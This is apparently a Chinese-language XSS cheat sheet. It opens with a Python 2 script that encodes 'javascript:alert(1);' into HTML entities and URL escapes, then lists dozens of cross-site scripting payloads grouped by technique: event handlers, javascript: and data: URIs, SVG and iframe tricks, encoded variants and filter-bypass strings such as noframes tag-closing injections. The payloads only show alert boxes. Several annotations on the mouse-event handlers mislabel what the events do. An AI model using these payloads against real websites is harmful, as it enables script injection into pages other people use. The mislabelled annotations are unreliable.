转换脚本
#coding=utf-8
import re
s='javascript:alert(1);'
flag_10=''
flag_16=''
flag_url=''
for x in xrange(0,len(s)):
flag_10+='&#'+str(ord(s[x:x+1]))+';' #10进制
flag_16+='&#x'+s[x:x+1].encode('hex') #16进制
flag_url+='%'+s[x:x+1].encode('hex')
print flag_10 # javascript:alert(1);
print flag_16
print flag_url
# s1='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)'
# ans=re.sub('&#x','',s1)
# ans=re.split(';',ans)
# flag=''
# for x in ans:
# flag+=x.decode('hex')
# print flag
事件xss语句
<body/onload=alert(25)>
<img src=1 onerror=alert(1)> 错误执行
<img src=1 onmouseover=alert(xss)>当鼠标进入选区执行代码
<img src=1 onmouseenter=alert(xss)>当鼠标离开选区执行代码
<img src=1 onmouseleave=alert(xss)>当鼠标在选区滚轮时执行代码
<img src=1 onfocusin=alert(xss)> 当获得焦点时执行代码
<img src=1 onfocusout=alert(xss)>当失去焦点时执行代码
<img src=1 onstart=alert(xss)> 当显示内容时执行代码
<img src=1 oncontextmenu=alert(xss)> 鼠标在选区右键执行代码
<img src=1 ondrag=alert(xss)> ondrag、ondragenter、ondragover:选择内容并拖动时执行代码
<img src=1 onselectstart=alert(xss)> 选择内容时执行代码
<img src=1 onclick=alert(xss)> 点击时执行
伪协议xss语句
<iframe src=javascript:prompt(/StoredXssByIframeTag/);></iframe>
<object data=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoL1N0b3JlZFhzc0J5T2JqZWN0VGFnLyk7PC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<a href='javascript:alert(1);'>xss</a>
html5 xss语句
<svg onload=prompt(/XSS/)>
<embed src=javascript:alert(/XSS/);>
<svg>
<script>alert(1)</script>
</svg>
编码后的 xss语句
<svg>
<script>alert(1)</script>
</svg>
<a href='javascript:%61%6c%65%72%74%28%31%29'>alert1</a>
<script/src=data:text/j\141v\141script,\u0061%6C%65%72%74(/XSS/)></script>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src=1 onerror=alert(String.fromCharCode(88,83,83))>
<a href="javascript:%61%6c%65%72%74%28%32%29">111111111</a>
<a href="javascript:alert(1)">aaa</a>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">aaa</a>
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(15)">aaa</a>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
其他的绕过payload
<q/oncut=alert(1)>(谷歌上能执行)
<form><button formaction=javascript:alert(21)>
<body/onload=alert(25)>
<script src=data:text/javascript,alert(88199)></script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<iframe/onload=alert(document.domain)></iframe>
<script>alert(navigator.userAgent)</script>
<script>alert(`XSS`)</script>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script>z='javascript:'</script>
<script>z=z+'alert(/xxss/)'</script>
<script>eval(z)</script>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<script>
var x = "123</script><script>alert(1);//";
</script>
闭合优先级高于双引号的标签
<iframe>
<noframes>
<noscript>
<script>
<style>
<title>
<xmp>
利用方式
<noframes>
<img src="//a.com</noframes><script>alert(1)</script>">
</noframes>
参考: